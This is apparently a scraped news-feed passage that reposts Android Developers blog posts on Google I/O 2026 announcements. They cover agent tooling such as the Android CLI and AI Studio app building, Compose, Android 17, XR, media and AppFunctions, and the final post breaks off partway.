            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
